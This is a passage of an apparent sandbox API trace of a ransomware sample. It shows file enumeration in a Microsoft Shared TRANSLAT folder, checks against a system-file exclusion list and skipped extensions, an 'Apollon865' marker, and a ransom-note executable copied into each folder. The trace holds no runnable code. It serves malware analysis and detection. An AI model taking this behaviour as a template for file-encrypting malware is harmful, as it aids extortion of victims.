	[0074.812] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.812] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.812] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.812] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.812] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1
	[0074.812] lstrcmpiW (lpString1="ARFR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.812] lstrcmpiW (lpString1="ARFR", lpString2="Apollon865.txt.exe") returned 1
	[0074.812] lstrcmpiW (lpString1="ARFR", lpString2=".") returned 1
	[0074.812] lstrcmpiW (lpString1="ARFR", lpString2="..") returned 1
	[0074.812] lstrcmpiW (lpString1="ARFR", lpString2="windows") returned -1
	[0074.813] lstrcmpiW (lpString1="ARFR", lpString2="bootmgr") returned -1
	[0074.813] lstrcmpiW (lpString1="ARFR", lpString2="temp") returned -1
	[0074.813] lstrcmpiW (lpString1="ARFR", lpString2="pagefile.sys") returned -1
	[0074.813] lstrcmpiW (lpString1="ARFR", lpString2="boot") returned -1
	[0074.813] lstrcmpiW (lpString1="ARFR", lpString2="ids.txt") returned -1
	[0074.813] lstrcmpiW (lpString1="ARFR", lpString2="ntuser.dat") returned -1
	[0074.813] lstrcmpiW (lpString1="ARFR", lpString2="perflogs") returned -1
	[0074.813] lstrcmpiW (lpString1="ARFR", lpString2="MSBuild") returned -1
	[0074.813] lstrlenW (lpString="ARFR") returned 4
	[0074.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*") returned 57
	[0074.813] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ARFR" | out: lpString1="ARFR") returned="ARFR"
	[0074.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0074.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf4e0
	[0074.813] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x5b7b50
	[0074.813] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1
	[0074.813] lstrcmpiW (lpString1="ENES", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.813] lstrcmpiW (lpString1="ENES", lpString2="Apollon865.txt.exe") returned 1
	[0074.813] lstrcmpiW (lpString1="ENES", lpString2=".") returned 1
	[0074.813] lstrcmpiW (lpString1="ENES", lpString2="..") returned 1
	[0074.813] lstrcmpiW (lpString1="ENES", lpString2="windows") returned -1
	[0074.813] lstrcmpiW (lpString1="ENES", lpString2="bootmgr") returned 1
	[0074.813] lstrcmpiW (lpString1="ENES", lpString2="temp") returned -1
	[0074.813] lstrcmpiW (lpString1="ENES", lpString2="pagefile.sys") returned -1
	[0074.813] lstrcmpiW (lpString1="ENES", lpString2="boot") returned 1
	[0074.813] lstrcmpiW (lpString1="ENES", lpString2="ids.txt") returned -1
	[0074.813] lstrcmpiW (lpString1="ENES", lpString2="ntuser.dat") returned -1
	[0074.813] lstrcmpiW (lpString1="ENES", lpString2="perflogs") returned -1
	[0074.813] lstrcmpiW (lpString1="ENES", lpString2="MSBuild") returned -1
	[0074.813] lstrlenW (lpString="ENES") returned 4
	[0074.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR") returned 60
	[0074.813] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ENES" | out: lpString1="ENES") returned="ENES"
	[0074.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0074.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf700
	[0074.813] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fc10
	[0074.813] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1
	[0074.813] lstrcmpiW (lpString1="ENFR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.814] lstrcmpiW (lpString1="ENFR", lpString2="Apollon865.txt.exe") returned 1
	[0074.814] lstrcmpiW (lpString1="ENFR", lpString2=".") returned 1
	[0074.814] lstrcmpiW (lpString1="ENFR", lpString2="..") returned 1
	[0074.814] lstrcmpiW (lpString1="ENFR", lpString2="windows") returned -1
	[0074.814] lstrcmpiW (lpString1="ENFR", lpString2="bootmgr") returned 1
	[0074.814] lstrcmpiW (lpString1="ENFR", lpString2="temp") returned -1
	[0074.814] lstrcmpiW (lpString1="ENFR", lpString2="pagefile.sys") returned -1
	[0074.814] lstrcmpiW (lpString1="ENFR", lpString2="boot") returned 1
	[0074.814] lstrcmpiW (lpString1="ENFR", lpString2="ids.txt") returned -1
	[0074.814] lstrcmpiW (lpString1="ENFR", lpString2="ntuser.dat") returned -1
	[0074.814] lstrcmpiW (lpString1="ENFR", lpString2="perflogs") returned -1
	[0074.814] lstrcmpiW (lpString1="ENFR", lpString2="MSBuild") returned -1
	[0074.814] lstrlenW (lpString="ENFR") returned 4
	[0074.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES") returned 60
	[0074.814] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ENFR" | out: lpString1="ENFR") returned="ENFR"
	[0074.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0074.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf788
	[0074.814] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd70
	[0074.814] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1
	[0074.814] lstrcmpiW (lpString1="ESEN", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.814] lstrcmpiW (lpString1="ESEN", lpString2="Apollon865.txt.exe") returned 1
	[0074.814] lstrcmpiW (lpString1="ESEN", lpString2=".") returned 1
	[0074.814] lstrcmpiW (lpString1="ESEN", lpString2="..") returned 1
	[0074.814] lstrcmpiW (lpString1="ESEN", lpString2="windows") returned -1
	[0074.814] lstrcmpiW (lpString1="ESEN", lpString2="bootmgr") returned 1
	[0074.814] lstrcmpiW (lpString1="ESEN", lpString2="temp") returned -1
	[0074.814] lstrcmpiW (lpString1="ESEN", lpString2="pagefile.sys") returned -1
	[0074.814] lstrcmpiW (lpString1="ESEN", lpString2="boot") returned 1
	[0074.814] lstrcmpiW (lpString1="ESEN", lpString2="ids.txt") returned -1
	[0074.814] lstrcmpiW (lpString1="ESEN", lpString2="ntuser.dat") returned -1
	[0074.814] lstrcmpiW (lpString1="ESEN", lpString2="perflogs") returned -1
	[0074.814] lstrcmpiW (lpString1="ESEN", lpString2="MSBuild") returned -1
	[0074.814] lstrlenW (lpString="ESEN") returned 4
	[0074.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR") returned 60
	[0074.814] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ESEN" | out: lpString1="ESEN") returned="ESEN"
	[0074.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0074.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf678
	[0074.815] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc90
	[0074.815] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1
	[0074.815] lstrcmpiW (lpString1="FRAR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.815] lstrcmpiW (lpString1="FRAR", lpString2="Apollon865.txt.exe") returned 1
	[0074.815] lstrcmpiW (lpString1="FRAR", lpString2=".") returned 1
	[0074.815] lstrcmpiW (lpString1="FRAR", lpString2="..") returned 1
	[0074.815] lstrcmpiW (lpString1="FRAR", lpString2="windows") returned -1
	[0074.815] lstrcmpiW (lpString1="FRAR", lpString2="bootmgr") returned 1
	[0074.815] lstrcmpiW (lpString1="FRAR", lpString2="temp") returned -1
	[0074.815] lstrcmpiW (lpString1="FRAR", lpString2="pagefile.sys") returned -1
	[0074.815] lstrcmpiW (lpString1="FRAR", lpString2="boot") returned 1
	[0074.815] lstrcmpiW (lpString1="FRAR", lpString2="ids.txt") returned -1
	[0074.815] lstrcmpiW (lpString1="FRAR", lpString2="ntuser.dat") returned -1
	[0074.815] lstrcmpiW (lpString1="FRAR", lpString2="perflogs") returned -1
	[0074.815] lstrcmpiW (lpString1="FRAR", lpString2="MSBuild") returned -1
	[0074.815] lstrlenW (lpString="FRAR") returned 4
	[0074.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN") returned 60
	[0074.815] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="FRAR" | out: lpString1="FRAR") returned="FRAR"
	[0074.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0074.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf810
	[0074.815] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0074.815] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1
	[0074.815] lstrcmpiW (lpString1="FREN", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.815] lstrcmpiW (lpString1="FREN", lpString2="Apollon865.txt.exe") returned 1
	[0074.815] lstrcmpiW (lpString1="FREN", lpString2=".") returned 1
	[0074.815] lstrcmpiW (lpString1="FREN", lpString2="..") returned 1
	[0074.815] lstrcmpiW (lpString1="FREN", lpString2="windows") returned -1
	[0074.815] lstrcmpiW (lpString1="FREN", lpString2="bootmgr") returned 1
	[0074.815] lstrcmpiW (lpString1="FREN", lpString2="temp") returned -1
	[0074.815] lstrcmpiW (lpString1="FREN", lpString2="pagefile.sys") returned -1
	[0074.815] lstrcmpiW (lpString1="FREN", lpString2="boot") returned 1
	[0074.815] lstrcmpiW (lpString1="FREN", lpString2="ids.txt") returned -1
	[0074.815] lstrcmpiW (lpString1="FREN", lpString2="ntuser.dat") returned -1
	[0074.815] lstrcmpiW (lpString1="FREN", lpString2="perflogs") returned -1
	[0074.815] lstrcmpiW (lpString1="FREN", lpString2="MSBuild") returned -1
	[0074.815] lstrlenW (lpString="FREN") returned 4
	[0074.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR") returned 60
	[0074.816] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="FREN" | out: lpString1="FREN") returned="FREN"
	[0074.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0074.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf9a8
	[0074.816] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0074.816] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a9d510, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44a9d510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.816] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.816] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="Apollon865.txt.exe") returned 1
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2=".") returned 1
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="..") returned 1
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="windows") returned -1
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="bootmgr") returned 1
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="temp") returned -1
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="pagefile.sys") returned -1
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="boot") returned 1
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="ids.txt") returned 1
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="ntuser.dat") returned -1
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="perflogs") returned -1
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="MSBuild") returned -1
	[0074.816] lstrlenW (lpString="MSB1AR.LEX") returned 10
	[0074.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN") returned 60
	[0074.816] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MSB1AR.LEX" | out: lpString1="MSB1AR.LEX") returned="MSB1AR.LEX"
	[0074.816] lstrlenW (lpString="MSB1AR.LEX") returned 10
	[0074.816] lstrlenW (lpString="Apollon865") returned 10
	[0074.816] lstrlenW (lpString=".dll") returned 4
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2=".dll") returned 1
	[0074.816] lstrlenW (lpString=".lnk") returned 4
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2=".lnk") returned 1
	[0074.816] lstrlenW (lpString=".ini") returned 4
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2=".ini") returned 1
	[0074.816] lstrlenW (lpString=".sys") returned 4
	[0074.816] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2=".sys") returned 1
	[0074.816] lstrlenW (lpString="MSB1AR.LEX") returned 10
	[0074.817] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MSB1CACH.LEX" | out: lpString1="MSB1CACH.LEX") returned="MSB1CACH.LEX"
	[0074.817] lstrlenW (lpString="MSB1CACH.LEX") returned 12
	[0074.817] lstrlenW (lpString="Apollon865") returned 10
	[0074.817] lstrcmpiW (lpString1="B1CACH.LEX", lpString2="Apollon865") returned 1
	[0074.817] lstrlenW (lpString=".dll") returned 4
	[0074.817] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2=".dll") returned 1
	[0074.817] lstrlenW (lpString=".lnk") returned 4
	[0074.817] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2=".lnk") returned 1
	[0074.817] lstrlenW (lpString=".ini") returned 4
	[0074.817] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2=".ini") returned 1
	[0074.817] lstrlenW (lpString=".sys") returned 4
	[0074.817] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2=".sys") returned 1
	[0074.817] lstrlenW (lpString="MSB1CACH.LEX") returned 12
	[0074.817] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MSB1CORE.DLL" | out: lpString1="MSB1CORE.DLL") returned="MSB1CORE.DLL"
	[0074.817] lstrlenW (lpString="MSB1CORE.DLL") returned 12
	[0074.817] lstrlenW (lpString="Apollon865") returned 10
	[0074.817] lstrcmpiW (lpString1="B1CORE.DLL", lpString2="Apollon865") returned 1
	[0074.817] lstrlenW (lpString=".dll") returned 4
	[0074.817] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2=".dll") returned 1
	[0074.817] lstrlenW (lpString=".lnk") returned 4
	[0074.817] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2=".lnk") returned 1
	[0074.817] lstrlenW (lpString=".ini") returned 4
	[0074.817] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2=".ini") returned 1
	[0074.817] lstrlenW (lpString=".sys") returned 4
	[0074.817] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2=".sys") returned 1
	[0074.817] lstrlenW (lpString="MSB1CORE.DLL") returned 12
	[0074.817] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MSB1STAR.DLL" | out: lpString1="MSB1STAR.DLL") returned="MSB1STAR.DLL"
	[0074.817] lstrlenW (lpString="MSB1STAR.DLL") returned 12
	[0074.818] lstrlenW (lpString="Apollon865") returned 10
	[0074.818] lstrcmpiW (lpString1="B1STAR.DLL", lpString2="Apollon865") returned 1
	[0074.818] lstrlenW (lpString=".dll") returned 4
	[0074.818] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2=".dll") returned 1
	[0074.818] lstrlenW (lpString=".lnk") returned 4
	[0074.818] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2=".lnk") returned 1
	[0074.818] lstrlenW (lpString=".ini") returned 4
	[0074.818] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2=".ini") returned 1
	[0074.818] lstrlenW (lpString=".sys") returned 4
	[0074.818] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2=".sys") returned 1
	[0074.818] lstrlenW (lpString="MSB1STAR.DLL") returned 12
	[0074.818] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MSB1XTOR.DLL" | out: lpString1="MSB1XTOR.DLL") returned="MSB1XTOR.DLL"
	[0074.818] lstrlenW (lpString="MSB1XTOR.DLL") returned 12
	[0074.818] lstrlenW (lpString="Apollon865") returned 10
	[0074.818] lstrcmpiW (lpString1="B1XTOR.DLL", lpString2="Apollon865") returned 1
	[0074.818] lstrlenW (lpString=".dll") returned 4
	[0074.818] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2=".dll") returned 1
	[0074.818] lstrlenW (lpString=".lnk") returned 4
	[0074.818] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2=".lnk") returned 1
	[0074.818] lstrlenW (lpString=".ini") returned 4
	[0074.818] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2=".ini") returned 1
	[0074.818] lstrlenW (lpString=".sys") returned 4
	[0074.818] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2=".sys") returned 1
	[0074.818] lstrlenW (lpString="MSB1XTOR.DLL") returned 12
	[0074.818] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="WTSP61MS.DLL" | out: lpString1="WTSP61MS.DLL") returned="WTSP61MS.DLL"
	[0074.818] lstrlenW (lpString="WTSP61MS.DLL") returned 12
	[0074.818] lstrlenW (lpString="Apollon865") returned 10
	[0074.818] lstrcmpiW (lpString1="SP61MS.DLL", lpString2="Apollon865") returned 1
	[0074.818] lstrlenW (lpString=".dll") returned 4
	[0074.818] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2=".dll") returned 1
	[0074.819] lstrlenW (lpString=".lnk") returned 4
	[0074.819] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2=".lnk") returned 1
	[0074.819] lstrlenW (lpString=".ini") returned 4
	[0074.819] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2=".ini") returned 1
	[0074.819] lstrlenW (lpString=".sys") returned 4
	[0074.819] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2=".sys") returned 1
	[0074.819] lstrlenW (lpString="WTSP61MS.DLL") returned 12
	[0074.819] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN"
	[0074.819] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0074.819] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0074.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN") returned 60
	[0074.819] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN"
	[0074.819] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.819] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.824] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.824] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44ac3670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44ac3670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.824] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.824] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.824] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.824] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44ac3670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44ac3670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.824] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.824] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.824] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.824] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.824] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44ac3670, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44ac3670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.824] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.824] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1
	[0074.824] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.824] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0074.825] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2=".") returned 1
	[0074.825] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="..") returned 1
	[0074.825] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="windows") returned -1
	[0074.825] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="bootmgr") returned 1
	[0074.825] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="temp") returned -1
